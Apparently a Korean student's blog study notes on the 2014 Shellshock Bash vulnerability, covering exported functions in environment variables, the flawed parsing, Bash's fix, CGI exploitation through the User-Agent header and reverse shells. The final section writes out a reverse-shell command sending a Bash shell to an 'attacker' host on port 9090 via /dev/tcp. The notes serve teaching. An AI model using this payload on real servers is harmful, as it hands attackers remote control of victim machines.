Shellshock

dmswl·2025년 10월 9일

System Security

목록 보기
7/15

Shellshock: Introduction

  • September 24, 2014
  • Vulnerability in Bash
  • Related to
    • Environment variable
    • CGI(Common Gateway Interface) and Web

Defining Functions in Shell

  • declare -f 함수명
    • 해당 함수가 정의되어 있음을 확인할 수 있고, 함수의 원형과 본문이 출력된다.
  • unset -f 함수명
    • 해당 함수를 셀에서 제거

-f는 함수를 대상으로 적용하겠다는 옵션이다.
-f 옵션 없이 declare, unset, export 같은 명령어를 쓰면 함수가 아니라 변수만 대상으로 작동한다.

Passing Function to Child Process

export

  • passing function definition explicitly to child shell
    • 정의한 값을 명시적으로 자식 프로세스에 전달하겠다. 이로 인해 자식 프로세스에서도 foo 함수를 동일하게 사용할 수 있게 된다.

새로운 shell을 실행할 때 내부적으로 fork()를 사용하여 자식 프로세스를 생성한다.
위에서 foo 함수를 export를 했기 때문에, Child shell에서도 foo 함수를 그대로 사용할 수 있다.

1. Definition & export

  1. foo='': 변수 선언, 환경 변수처럼 작성
  2. declare: 선언한 함수를 보여주는 명령어이므로 변수는 출력이 나오지 않는다.

2. Patched Bash

  1. patched bash를 실행하면, 부모로부터 전달받은 foo 값은 여전히 환경변수로 남아있다.
  2. declare -f foo: foo 함수는 정의된 사실이 없기 때문에 출력이 없다.
    • 단순한 환경 변수로서의 '() { echo hello; }'만 존재한다.

3. Vulnerable Bash

  1. declare -f foo: 부모가 선언한 변수를 함수로 인식하여 출력된다.
  2. echo $foo: 환경 변수 값이 출력되지 않는다.

Shellshock Vulnerability

  • /bin/bash_shellshock: 부모 shell에서 shellshock 취약점이 있는 bash 실행
  • Child shell로 진입하는 순간, bash가 부모로부터 받은 추가 명령까지 자동 실행
  • 함수 정의와 명령을 따로 구분해 추가 명령은 즉시 실행하고, 환경 변수 foo의 값은 함수 정의로서만 남는다.

Mistake in the Source Code

  • Line A: foo=() { echo “Hello World“; }; echo “extra“;
  • Line B: foo () { echo “Hello World“; }; echo “extra“;

STREQ("() {", string, 4)

  • 환경 변수 값이 함수 선언 () {로 시작하는지 확인한다.

parse_and_execute(...)

  • 함수 정의 부분 뒤에 붙은 모든 추가 문자('; echo "extra"')도 그대로 파싱, 실행한다.
    • 데이터 분리를 거치지 않고, 전체를 하나의 파싱으로 처리한다.

앞에서부터 4개의 str만 보고 판단하기에는 너무 naive하다. 함수 정의 패턴만 맞고 뒤에 악의적인 코드가 붙어있는 경우도 구분할 수 없기 때문이다.

Lessons Learned

Security Principles violated

Data \rightarrow Code ?

  • 단순 데이터로 취급되어야 할 정보가 실수나 취약점으로 인해 프로그램 코드처럼 실행될 수 있다.

How Bash Fixes the Problem

For Environment Variables

How to Pass Function?

  • 'strings /proc/$$/environ | grep foo'
    • 현재 프로세스의 환경 변수 중 foo와 관련된 내용만 확인할 수 있는 명령어
    • $$: 현재 프로세스의 PID
  • 'BASH_FUNC_foo%%=() { echo hello; }'
    • %%는 함수와 일반 환경변수를 구분하기 위한 마커, 환경변수에 저장되면 명령주입 최약점 공격이 어렵다.
  • 부모의 함수 정의 → export 되어 환경 변수에 (BASHFUNC포맷) 저장 → 자식 bash 시작 시 함수로 복원 및 등록
  • 이 방식 덕분에 shellshock처럼 악의적 명령 주입을 방지할 수 있고, 명확하게 함수와 일반 변수를 구분할 수 있다.

Conditions

  1. Run Bash (with vulnerability)
  2. Take input from environment variables
위 두 조건을 만족할 때 shellshock이 발생한다.

Shellshock Attack on CGI: How CGI Works

  • CGI: Common Gateway Interface \rightarrow Providing dynamic pages

Client가 악의적인 함수나 명령을 포함한 HTTP 요청을 보내고, Server에서 요청을 받아 필요 시에 fork()를 통해 자식에게 입력 데이터를 환경 변수로 전달할 수 있다.
shellshock 취약점이 있는 경우 악의적 명령이 곧바로 실행된다. CGI 구조상 "데이터가 코드로" 전환되는 통로가 생긴다.

Passing Environment Variables to CGI

The CGI Program

HTTP request header \rightarrow 환경 변수

  • 웹 서버가 CGI 프로그램을 자식 프로세스를 실행할 때, HTTP header를 의도적으로 환경 변수 형태로 만들어 자식 프로세스에 전달하는 과정이다.
  • 이때 리눅스의 부모-자식 환경 변수 상속(export) 원리가 그대로 활용된다.

From command line

  • curl 명령어로 HTTP request
  • 데이터를 HTTP request's header(User-Agent)에 담아 서버로 전송
  • 서버에서는 해당 값을 CGI 자식 프로세스의 환경 변수로 전환(HTTP_USER_AGENT)

요청에서 보낸 데이터가 환경 변수로 담겨 서버에서 확인되어 응답에 포함된다.

How about?

User-Agent 헤더에 함수 선언처럼 보이는 코드와 쉘 명령을 함께 넣음

  • curl: HTTP request를 서버로 보내는 명령어
  • Bash는 변수 값에 함수 정의가 있으면 실제 함수로 인식하고 실행
    • 함수 뒤에 이어진 쉘 명령어 /bin/ls -l까지 실행

외부에서 넘긴 환경 변수가 CGI에서 parsing & execution 되는 과정에서 악의적인 명령을 그대로 실행할 수 있다.


Reverse Shell Overview

remote shell vs. reverse shell

  • Remote: 공격자가 직접 피해자(서버)의 쉘에 접근해서 명령어를 실행하는 방식
  • Reverse: 피해자(서버)가 공격자 쪽으로 접속해서 자신의 쉘을 내어주는 방식이다.
    • 공격자 쪽에서 port를 열어두고 listening하고 있어야 한다.
    • 피해자가 이미 제어권을 넘기는 코드를 실행한 경우 pw를 알 필요가 없다.

Redirecting Standard I/O to TCP

  • i: interactive mode
    • 사용자가 직접 명령을 입출력할 수 있는 모드
  • 생략된 1: standard out
    • 명령어 실행 결과(standard out)가 네트워크를 통해 10.9.0.1의 9090 포트로 전송된다.
  • 0<&1: standard in을 standard out으로 redirection
  • 2>&1: standard err를 standard out으로 다시 돌림
  • '<': 입력 지정
    • 'command < file.txt': file.txt 내용을 표준 입력으로 삼아서 명령 실행
  • '>': 출력 지정
    • 'command > out.txt': 명령 결과인 표준 출력을 out.txt 파일에 저장
  • 0: standard in
  • 1: standard out
  • 2: standard error
  • &1: 1번(standard out) fd로

Shellshock Attack Using Reverse Shell

  • -A "...": User Agent HTTP header에 악성 함수 삽입
  • /bin/bash -i > /dev/tcp/attacker/9090 0<&1 2>&1
    • victim 서버의 bash shell을 attacker의 9090 포트에 네트워크 입출력으로 연결
      • attacker는 9090 포트를 열고 listening 상태여야 한다.
    • attacker는 피해 서버의 프롬포트를 원격 제어할 수 있음(reverse shell)

앞에서 > dev/.../9090으로 redirection했기 때문에, 공격자가 listening 중인 network socket이 표준 출력을 의미한다.

0개의 댓글